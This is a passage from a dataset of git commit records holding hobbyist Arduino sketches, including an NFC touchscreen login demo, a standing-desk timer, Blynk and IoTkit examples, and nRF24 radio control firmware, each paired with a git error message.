STATE_RESET;\n\n\n\n\n\/**** display prepare functions ****\/\n\nvoid clearScreen() {\n screen.clearScreen();\n}\n\n\nvoid reset() {\n \/\/ reset all global variables\n current_state = STATE_RESET;\n\/\/ last_key_press_ms = 0;\n\/\/ last_key = 0;\n memset(nfc_key, 0, sizeof(nfc_key));\n nfc_key_count = 0;\n \n \/\/ show the splash screen\n showSplashScreen();\n \n \/\/ reset the sd card controller\n \/\/ sd.setup();\n \n \/\/ reset the touchscreen\n uint16_t x, y;\n uint8_t z; \n while (!screen.getTouchScreen().bufferEmpty()) {\n screen.getTouchScreen().readData(&x, &y, &z);\n Serial.println(screen.getTouchScreen().bufferSize());\n }\n screen.getTouchScreen().writeRegister8(STMPE_INT_STA, 0xFF);\n \n \/\/ setup nfc\n nfclib.setupHost();\n\n \/\/ show the nfc screen\n showNFCKeyScreen();\n}\n\n\n\n\n\/**** show screen functions ****\/\n\nvoid showSplashScreen() {\n screen.fillScreen(ILI9341_BLACK); \n screen.setCursor(BOXSIZE, BOXSIZE);\n screen.setTextColor(ILI9341_RED); screen.setTextSize(4);\n screen.println(\"DataSafe\");\n \n screen.setCursor(BOXSIZE*3, BOXSIZE*3);\n screen.setTextColor(ILI9341_WHITE); screen.setTextSize(2);\n screen.println(\"v1.0\");\n}\n\n\nvoid showNFCKeyScreen() {\n current_state = STATE_NFC_KEY_LOGIN;\n clearScreen();\n screen.writeTextToTop(\"nfc card login\");\n screen.writeTextToBottom(\"type your key!\");\n screen.drawKeyboard();\n}\n\nvoid showNFCCardScreen() {\n current_state = STATE_NFC_CARD_LOGIN;\n clearScreen();\n screen.writeTextToTop(\"nfc card login\");\n screen.writeTextToBottom(\"put your ntc card on the shield!\");\n}\n\n\nvoid showDataScreen() {\n current_state = STATE_SHOW_DATA;\n screen.fillScreen(ILI9341_BLACK); \n screen.setCursor(0, 0);\n screen.setTextColor(ILI9341_WHITE); screen.setTextSize(2);\n screen.println(\"The data:\");\n \n screen.setCursor(BOXSIZE*2, BOXSIZE*2);\n screen.println(\"MY SECRET DATA !!\");\n \n\/\/ sd.showFile(\"test.txt\");\n \n delay(3000);\n}\n\n\n\n\n\n\n\/**** touchscreen action functions ****\/\n\nvoid actOnTouchScreenInteraction(uint16_t x, uint16_t y, boolean keyboardOn) {\n uint16_t millis_now = millis();\n uint16_t millis_delta = millis_now - last_key_press_ms; \n char c;\n \n \/\/ check polling\n if (millis_delta <= KEYBOARD_POLLING_MS) {\n return;\n }\n \n \n \/\/ actions\n actOnButtonPress(x, y);\n \n if (keyboardOn) {\n if ( nfc_key_count > 5) {\n return;\n }\n c = screen.actOnKeyboardKeyPress(x, y);\n if (c != 0) {\n nfc_key[nfc_key_count] = c;\n nfc_key_count++;\n \n char dest[12];\n char *pChar = &c;\n strcpy(dest, \"key: \");\n strcat(dest, nfc_key);\n dest[11] = '\\0';\n screen.writeTextToBottom(dest);\n \n \n \/\/ show the nfc screen when password is fullfilled\n if (nfc_key_count > 5) {\n showNFCCardScreen();\n }\n \n }\n }\n \n \n \/\/ set last key press for polling\n last_key_press_ms = millis_now;\n}\n\nvoid actOnButtonPress(uint16_t x, uint16_t y) {\n Serial.print(x); Serial.print(\" \/ \"); Serial.print(y);\n Serial.println(\"\");\n if (SCREEN_BUTTON_MINY + SCREEN_TEXT_PADDING*2.7 >= y && y <= SCREEN_BUTTON_MINY + SCREEN_TEXT_PADDING*2.7 + SCREEN_BUTTON_SIZE * 2) {\n if (SCREEN_TEXT_PADDING*3 >= x && x <= SCREEN_TEXT_PADDING*3 + SCREEN_BUTTON_SIZE * 2) {\n reset(); \n }\n }\n}\n\n\n\n\n\/**** state functions ****\/\n\nvoid nextState() {\n current_state++;\n if (current_state == STATE_END) {\n current_state = STATE_RESET;\n }\n}\n\nvoid doStateReset() {\n \/\/ show the splash screen\n reset(); \n}\n\nvoid doStateNfcKeyLogin() {\n \/\/ wait for the touch and show it\n if (screen.getTouchScreen().bufferEmpty()) {\n return;\n }\n if (! screen.getTouchScreen().touched()) {\n return;\n }\n \n \n \/\/ Retrieve a point \n TS_Point p = screen.touchscreenGetPoint();\n \/*\n if (p.z == 0) {\n return;\n }\n *\/\n\n \/\/ act on touchscreen interaction\n actOnTouchScreenInteraction(p.x, p.y, true);\n}\n\nvoid doStateNfcCardLogin() {\n \n \/\/ read the nfc card\n \/\/uint8_t success;\n uint8_t uid[] = { 0, 0, 0, 0, 0, 0, 0 }; \/\/ Buffer to store the returned UID\n uint8_t uidLength = nfclib.initTarget(&*uid); \/\/ Length of the UID (4 or 7 bytes depending on ISO14443A card type)\n nfclib.printTarget(); \n\n \/\/ show the data\n showDataScreen();\n \n \/\/ reset everything()\n reset(); \n}\n\nvoid doStateShowData() {\n \/\/ show the data\n showDataScreen();\n\n nextState();\n}\n\n\n\n\n\/**** arduino default functions ****\/\n\nvoid setup(void) {\n \/\/ setup the screen\n screen.setup(); \n}\n\nvoid loop()\n{\n \/\/ working with the state pattern because we have different screens (states)\n switch (current_state) {\n case STATE_RESET: doStateReset(); break;\n case STATE_NFC_KEY_LOGIN: doStateNfcKeyLogin(); break;\n case STATE_NFC_CARD_LOGIN: doStateNfcCardLogin(); break;\n case STATE_SHOW_DATA: doStateShowData(); break;\n case STATE_END: nextState(); break;\n default: doStateReset(); break;\n }\n\n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DataSafe.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"5a99ba155ab9fe79d985392552733bf1ccce0220","subject":"Changed timing to final mission parameters","message":"Changed timing to final mission parameters\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c4da368bd173aab012d3410258b91950eec080ce","subject":"Got rid of these lines for some reason.","message":"Got rid of these lines for some reason.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e76e13a3a2d534a7264b714e7a64d78519a0291e","subject":"initial commit of standing desk timer control code","message":"initial commit of standing desk timer control code\n","repos":"BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground,BenDoan\/playground","old_file":"arduino\/standing-desk-timer\/standing-desk-timer.ino","new_file":"arduino\/standing-desk-timer\/standing-desk-timer.ino","new_contents":"\/**\n * TODO:\n * - display minutes and seconds\n * - blink led when time out\n * - show timegoal for 5 seconds after button press\n * - require button press to clear blinking and reset\n * - hold down both to display battery\n *\/\n\n#include \"Arduino.h\"\n#include \"Wire.h\"\n#include \"Qduino.h\"\n#include <SoftwareSerial.h>\n#include <EEPROM.h>\n\n#define COLON 4\n\n#define INPUT_PIN_INCR 12\n#define INPUT_PIN_DECR 9\n#define SOFTWARE_TX 8\n#define SOFTWARE_RX 7\n\nenum State {\n COUNTING_DOWN = 0,\n SETTING_TIME_GOAL = 1,\n AT_ZERO = 2\n};\n\nqduino q;\n\n\nState state = COUNTING_DOWN;\nint timeGoalMinutes = 1;\nchar tempString[10];\nconst int timerGoalAddr = 0;\nunsigned long goalTime = 0;\nunsigned long startedSettingTimeGoalMillis = 0;\n\nSoftwareSerial s7s(SOFTWARE_RX, SOFTWARE_TX);\n\nvoid setup() {\n State state = COUNTING_DOWN;\n\n s7s.begin(9600);\n s7s.write(0x76); \/\/ Clear display\n s7s.write(0x77);\n s7s.write(1<<COLON);\n\n q.setup();\n pinMode(INPUT_PIN_INCR, INPUT_PULLUP);\n pinMode(INPUT_PIN_DECR, INPUT_PULLUP);\n\n timeGoalMinutes = EEPROM.read(timerGoalAddr);\n timeGoalMinutes = 1;\n goalTime = millis() + (timeGoalMinutes * 1000L * 60);\n}\n\nvoid readGoalAdjustment() {\n int incrVal = digitalRead(INPUT_PIN_INCR);\n int decrVal = digitalRead(INPUT_PIN_DECR);\n if (incrVal == HIGH || decrVal == HIGH) {\n q.setRGB(PURPLE);\n }\n if (incrVal == LOW || decrVal == LOW) {\n state = SETTING_TIME_GOAL;\n startedSettingTimeGoalMillis = millis();\n q.setRGB(YELLOW);\n }\n\n if (incrVal == LOW) {\n timeGoalMinutes++;\n }\n\n if (decrVal == LOW) {\n timeGoalMinutes--;\n }\n\n EEPROM.write(timerGoalAddr, timeGoalMinutes);\n}\n\nvoid displayTimeLeft() {\n unsigned long timeLeftMillis = goalTime - millis();\n\n if (millis() > goalTime) {\n goalTime = millis() + (timeGoalMinutes * 1000L * 60);\n timeLeftMillis = goalTime;\n }\n\n\n int totalSeconds = timeLeftMillis \/ 1000;\n int seconds = totalSeconds % 60;\n int minutes = totalSeconds \/ 60;\n\n sprintf(tempString, \"%02d%02d\", minutes, seconds);\n s7s.print(tempString);\n\n}\n\nvoid displayTimeGoal() {\n sprintf(tempString, \"%4d\", timeGoalMinutes);\n s7s.print(tempString);\n}\n\nvoid writeDisplayCustom() {\n sprintf(tempString, \"%d\", state);\n s7s.print(tempString);\n}\n\nvoid loop() {\n switch (state) {\n case COUNTING_DOWN:\n displayTimeLeft();\n break;\n\n case SETTING_TIME_GOAL:\n displayTimeGoal();\n if (millis() > (startedSettingTimeGoalMillis + (1000 * 5))) {\n state = COUNTING_DOWN;\n }\n break;\n\n case AT_ZERO:\n break;\n\n default:\n writeDisplayCustom();\n break;\n }\n\n readGoalAdjustment();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/standing-desk-timer\/standing-desk-timer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a52027695601c17daf7f43aa2e7cf70da0695dfd","subject":"Added sample","message":"Added sample\n","repos":"blynkkk\/blynk-library,flashvnn\/blynk-library,johan--\/blynk-library,radut\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,johan--\/blynk-library,csicar\/blynk-library,ivankravets\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,CedricFinance\/blynk-library,blynkkk\/blynk-library,flashvnn\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,flashvnn\/blynk-library,radut\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,al1271\/blynk-library,johan--\/blynk-library,okhiroyuki\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,al1271\/blynk-library,radut\/blynk-library,csicar\/blynk-library,sstocker46\/blynk-library,sstocker46\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library","old_file":"examples\/Handlers\/JustPrintValue\/JustPrintValue.ino","new_file":"examples\/Handlers\/JustPrintValue\/JustPrintValue.ino","new_contents":"#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <BlynkSimpleEthernet.h>\n\nvoid setup()\n{\n Serial.begin(115200);\n Blynk.begin(\"00000000000000000000000000000000\");\n}\n\nBLYNK_ON_WRITE(1)\n{\n BLYNK_LOG(\"Got a value: %s\", param[0].asStr());\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Handlers\/JustPrintValue\/JustPrintValue.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f13df3b81fe9f8e8f04ad45d18c490e8bed7972d","subject":"cental radio with debug mode","message":"cental radio with debug mode\n","repos":"unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small","old_file":"firmware\/2017\/radio_CCcontrol\/radio_CCcontrol.ino","new_file":"firmware\/2017\/radio_CCcontrol\/radio_CCcontrol.ino","new_contents":"\/**********FIRMWARE PARA ESTUDO EM CONTROLE***********\/\n\/* http:\/\/www-personal.umich.edu\/~johannb\/Papers\/paper43.pdf\n * Usando a ideia de cross coupling control\n *\/\n\n \n\n\n#include <SPI.h> \/\/for radio\n#include \"RF24.h\" \/\/ for radio\n\n\/************* USER Configuration *****************************\/\n\/***********radio***********\/\n\/*Radio pins*\/\n\/\/int CE = 10; \/\/pro micro\n\/\/int CS = A0; \/\/pro micro\nint CE = 3; \/\/nano\nint CS = 2; \/\/nano\n\n \nRF24 radio(CE,CS); \/\/ Set up nRF24L01 radio on SPI bus plus pins 3 & 2 for nano\n\n\nconst uint64_t pipes[2] = { 0xABCDABCD71LL, 0x544d52687CLL }; \/\/ Radio pipe addresses for the 2 nodes to communicate.\nuint64_t pipeEnvia=pipes[1];\nuint64_t pipeRecebe=pipes[0];\n\n\nstruct dataStruct{\n char data1;\n int data2;\n}myData;\n\nstruct dataStruct2{\n int motorA=0;\n int motorB=0;\n};\n\nString inString = \"\"; \n\/***************************************************************\/\n\ndataStruct2 velocidades;\n\nvoid setup(void) {\n \n \n Serial.begin(115200);\n while(!Serial);\n\n \n radioSetup();\n \n Serial.println(\"Firwmare para estudo em controle\");\n Serial.println(\"Objetivo: implementar um cross coupling control\");\n Serial.println(\"Para testar:\");\n Serial.println(\"* radio OK\");\n Serial.println(\"* enconder\");\n Serial.println(\"* controle\");\n Serial.println(\"##############\");\n Serial.println();\n Serial.println();\n Serial.println();\n\n\n menu(); \/\/preicsa abrir o serial pelo computador\n}\n\nvoid loop(){\n if (Serial.available()){\n char c = Serial.read();\n Serial.println();\n\n switch(c){\n case '1':\n {\n menu();\n Serial.println();\n break;\n }\n case '2':\n {\n Serial.println(\"Verificando plataforma\");\n plataforma();\n break;\n }\n case '3':\n {\n Serial.println(\"Teste radio\");\n if(radio.isPVariant()){\n Serial.println(\"is PVariant\");\n }else{\n Serial.println(\"it is not PVariant\");\n }\n break;\n }\n case '4':\n {\n radio_status();\n break;\n }\n case '5':\n {\n Serial.println(radio.available());\n break;\n }\n case '6':\n {\n mandaMensagem();\n break;\n }\n case '7':\n {\n recebeMensagem();\n break;\n }\n case '8':\n {\n mandaVelocidades();\n break;\n }\n case '9':\n {\n repeteVelocidade();\n break;\n }\n case '0':\n {\n mandaVelocidadeZero();\n break;\n }\n default:\n {\n Serial.println(\"opcao nao reconhecida\");\n break;\n }\n }\n }\n}\n\n\nvoid mandaVelocidadeZero(){\n velocidades.motorA=0;\n velocidades.motorB=0;\n radio.stopListening();\n radio.enableDynamicAck();\n radio.write(&velocidades,sizeof(velocidades), 1);\n radio.startListening();\n}\nvoid menu(){\n Serial.println(\"Menu:\");\n Serial.println(\"1 - menu\");\n Serial.println(\"2 - plataforma\");\n Serial.println(\"3 - teste radio (pvariant test)\");\n Serial.println(\"4 - radio config\");\n Serial.println(\"5 - verificar se existe mensagem\");\n Serial.println(\"6 - mandar mensagem\");\n Serial.println(\"7 - ler mensagem\");\n Serial.println(\"8 - mandar velocidades\");\n Serial.println(\"9 - repete a ultima velocidade\");\n Serial.println(\"0 - para o robo\");\n Serial.println(\"a - modoOnline\");\n \n}\n\nvoid repeteVelocidade(){\n if(velocidades.motorA || velocidades.motorB){\n Serial.print(velocidades.motorA);\n Serial.print(\" \");\n Serial.print(velocidades.motorB);\n Serial.print(\" \");\n radio.stopListening();\n radio.enableDynamicAck();\n radio.write(&velocidades,sizeof(velocidades), 1);\n radio.startListening();\n }\n}\n\nvoid mandaVelocidades(){\n Serial.print(\"Velocidade motor A:\");\n while(!Serial.available());\n while (Serial.available() > 0) {\n int inChar = Serial.read();\n if (isDigit(inChar)) {\n \/\/ convert the incoming byte to a char\n \/\/ and add it to the string:\n inString += (char)inChar;\n }\n delay(30);\n }\n velocidades.motorA=inString.toInt();\n Serial.println(velocidades.motorA);\n inString = \"\";\n Serial.print(\"Velocidade motor B:\");\n while(!Serial.available());\n while (Serial.available() > 0) {\n int inChar = Serial.read();\n if (isDigit(inChar)) {\n \/\/ convert the incoming byte to a char\n \/\/ and add it to the string:\n inString += (char)inChar;\n }\n delay(30);\n }\n velocidades.motorB=inString.toInt();\n inString = \"\";\n Serial.println(velocidades.motorB);\n\n \/\/velocidades.motorA*=-1;\n \/\/velocidades.motorB*=-1;\n radio.stopListening();\n radio.enableDynamicAck();\n radio.write(&velocidades,sizeof(velocidades), 1);\n radio.startListening();\n delay(50);\n}\nvoid recebeMensagem(){\n if(radio.available()){\n while(radio.available()){ \n radio.read(&myData,sizeof(myData));\n }\n Serial.print(\"mensagem: \");\n Serial.println(myData.data1);\n }\n}\n\nvoid mandaMensagem(){\n Serial.println(\"Escreva 1 caractere\");\n while(!Serial.available());\n \n char c = toupper(Serial.read());\n myData.data1=c;\n radio.stopListening();\n radio.enableDynamicAck(); \/\/essa funcao precisa andar colada na de baixo\n radio.write(&myData,sizeof(myData), 1); \/\/lembrar que precisa enableDynamicAck antes\n \/\/ 1-NOACK, 0-ACK\n radio.startListening(); \n Serial.println(c);\n}\n\nvoid radio_status(){\n Serial.print(\"CE: \");\n Serial.println(CE);\n Serial.print(\"CS: \");\n Serial.println(CS);\n \n Serial.print(\"Channel: \");\n Serial.print(radio.getChannel());\n Serial.println(\" 0-125\");\n Serial.print(\"PALevel: \");\n Serial.print(radio.getPALevel());\n Serial.println(\" 0-3\");\n Serial.print(\"DataRate: \");\n Serial.print(radio.getDataRate());\n Serial.println(\" 0->1MBPS, 1->2MBPS, 2->250KBPS\");\n Serial.println();\n Serial.print(\"Enviar por: \");\n Serial.println(int(pipeEnvia));\n Serial.print(\"Recebe por: \");\n Serial.println(int(pipeRecebe));\n Serial.print(\"Payload size: \");\n Serial.println(radio.getPayloadSize());\n \n\n}\n\nvoid plataforma(){\n Serial.println(\"Plataforma arduino nano\");\n unsigned long time=millis();\n Serial.println(time);\n}\n\nvoid radioSetup(){\n radio.begin(); \/\/ inicializa radio\n radio.setChannel(108); \/\/muda para um canal de frequencia diferente de 2.4Ghz\n radio.setPALevel(RF24_PA_MAX); \/\/usa potencia maxima\n radio.setDataRate(RF24_2MBPS); \/\/usa velocidade maxima\n\n radio.openWritingPipe(pipeEnvia); \/\/escreve pelo pipe0\n radio.openReadingPipe(1,pipeRecebe); \/\/escuta pelo pipe1\n\n radio.enableDynamicPayloads(); \/\/ativa payloads dinamicos(pacote tamamhos diferentes do padrao)\n radio.setPayloadSize(sizeof(velocidades)); \/\/ajusta os o tamanho dos pacotes ao tamanho da mensagem\n \n radio.startListening(); \/\/ Start listening\n}\n\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/2017\/radio_CCcontrol\/radio_CCcontrol.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22e12a6cc9890212fdb0b9ba00e4eb0b667d148a","subject":"Add Energia BLE example","message":"Add Energia BLE example\n","repos":"blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/Boards_Bluetooth\/Energia_BLE\/Energia_BLE.ino","new_file":"examples\/Boards_Bluetooth\/Energia_BLE\/Energia_BLE.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n *\n * This example shows how to use Energia BLE\n * to connect your project to Blynk.\n *\n * NOTE: BLE support is in beta!\n *\n **************************************************************\/\n\n\/\/#define BLYNK_DEBUG\n#define BLYNK_PRINT Serial\n#define BLYNK_RUN_YIELD() { ble.handleEvents(); }\n\n#include <BLE.h>\n#include <BlynkSimpleSerialBLE.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup() {\n Serial.begin(115200);\n\n ble.setLogLevel(BLE_LOG_ERRORS);\n ble.begin();\n ble.serial();\n ble.setAdvertName(\"Blynk BLE\");\n ble.startAdvert();\n\n Blynk.begin(ble, auth);\n}\n\nvoid loop() {\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_Bluetooth\/Energia_BLE\/Energia_BLE.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4d4289d88aa816969c7bf803f11d1dea5406cc7c","subject":"Added example for actuation with default powerswich component type. It turns on or off the LED light on Edison board.","message":"Added example for actuation with default powerswich component type. It turns on or off the LED light on Edison board.\n","repos":"enableiot\/iotkit-samples,enableiot\/iotkit-samples,enableiot\/iotkit-samples,enableiot\/iotkit-samples","old_file":"arduino\/IoTkit\/examples\/IoTKitActuationExample\/IotKitActuationExample.ino","new_file":"arduino\/IoTkit\/examples\/IoTKitActuationExample\/IotKitActuationExample.ino","new_contents":"\/\/This example reacts for default actuator component if registered on device\n\/\/LED.v1.0 command is used\n\/\/When executed from Control section on dashboard with value 0, LED light is turned off\n\/\/When executed from Control section on dashboard with value 1, LED light is turned on\n\/\/iotkit-agent must use MQTT connection (not REST) for actuation to work.\n\/\/It also sends 1 as power when agent is started.\n\n#include <IoTkit.h> \/\/ include IoTkit.h to use the Intel IoT Kit\n#include <Ethernet.h> \/\/ must be included to use IoTkit\n#include <aJSON.h>\n#include <stdio.h>\n\n\/\/ create an object of the IoTkit class\nIoTkit iotkit; \nint temp;\nchar buf[112];\n\nvoid setup() {\n Serial.begin(115200);\n \/\/ call begin on the IoTkit object before calling any other methods\n iotkit.begin();\n delay(10500);\n iotkit.send(\"power\", 1);\n}\n\nvoid loop() {\n iotkit.receive(callback);\n delay(5000);\n}\n\nvoid callback(char* json) {\n Serial.println(json);\n aJsonObject* parsed = aJson.parse(json);\n if (&parsed == NULL) {\n \/\/ invalid or empty JSON\n Serial.println(\"recieved invalid JSON\");\n return;\n }\n \n aJsonObject* component = aJson.getObjectItem(parsed, \"component\");\n aJsonObject* command = aJson.getObjectItem(parsed, \"command\"); \n aJsonObject* argv = aJson.getObjectItem(parsed, \"argv\");\n aJsonObject* argvArray = argv->child;\n aJsonObject* name = argvArray->child; \/\/ name : on\n aJsonObject* value = name->next; \/\/ value: 1\/0\n \n if ((component != NULL)) {\n if (strcmp(component->valuestring, \"actuator\") == 0) {\n if ((command != NULL)) {\n if (strcmp(command->valuestring, \"light\") == 0 && strcmp(value->valuestring, \"0\") == 0) {\n Serial.println(\"Light Off!\");\n pinMode(13, OUTPUT);\n digitalWrite(13, false);\n }\n if (strcmp(command->valuestring, \"light\") == 0 && strcmp(value->valuestring, \"1\") == 0) {\n Serial.println(\"Light on!\");\n pinMode(13, OUTPUT);\n digitalWrite(13, true);\n }\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/IoTkit\/examples\/IoTKitActuationExample\/IotKitActuationExample.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"aad9db617691fe85ecc36d7563f2303c50c25be3","subject":"Update 001_Chodenie rovno a dozadu.ino","message":"Update 001_Chodenie rovno a dozadu.ino","repos":"Galeje\/Cing","old_file":"Programy\/001_Chodenie rovno a dozadu.ino","new_file":"Programy\/001_Chodenie rovno a dozadu.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Programy\/001_Chodenie' did not match any file(s) known to git\nerror: pathspec 'rovno' did not match any file(s) known to git\nerror: pathspec 'a' did not match any file(s) known to git\nerror: pathspec 'dozadu.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"06fef11c142d4c2f1dec4bbb8006df69e17dadaa","subject":"Create any_analog.ino","message":"Create any_analog.ino\n\nthis should be obvious","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"any_analog.ino","new_file":"any_analog.ino","new_contents":"int co_sensor = A0;\n\nvoid setup(){\n pinMode(co_sensor, INPUT);\n \/*set the sensor to be input*\/\n Serial.begin(9600);\n \/*beign serial @ baudrate of 9600 *\/\n}\nvoid loop(){\n Serial.println(analogRead(co_sensor));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'any_analog.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7fb633b5ceb8a8e69563a197f415b8a16e2b0fb2","subject":"Create oas-0-2.ino","message":"Create oas-0-2.ino","repos":"scottkelleher\/OAS_0-2","old_file":"firmware\/examplers\/oas-0-2.ino","new_file":"firmware\/examplers\/oas-0-2.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/Code Function: Alfa 0.2 (7-26-16, JS)\n\/\/ 1 Test the Sharp, solar panals, BME280, and sd logging, to get first feild data\n\/\/ 2 Test Manual mode, for power consumption and interfearence \n\/\/ 3 Test Over the Air Cominucation for data colection \n\/\/ 4 Test Google script alerts and logging\n\/\/\n\/\/\n\/\/To Do\n\/\/*Add multiple file names AOSXXX.txt\n\/\/*Add upload to Google Drive\/publish variables \n\/\/\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/INA219\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"adafruit-ina219\/adafruit-ina219.h\"\nAdafruit_INA219 ina219;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/INA219\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/}\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/Fuel gauge\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"SparkFunMAX17043\/SparkFunMAX17043.h\"\ndouble battery_volts = 0; \/\/ Variable to keep track of LiPo voltage\n\/\/double soc = 0; \/\/ Variable to keep track of LiPo state-of-charge (SOC)\n\/\/bool alert; \/\/ Variable to keep track of whether 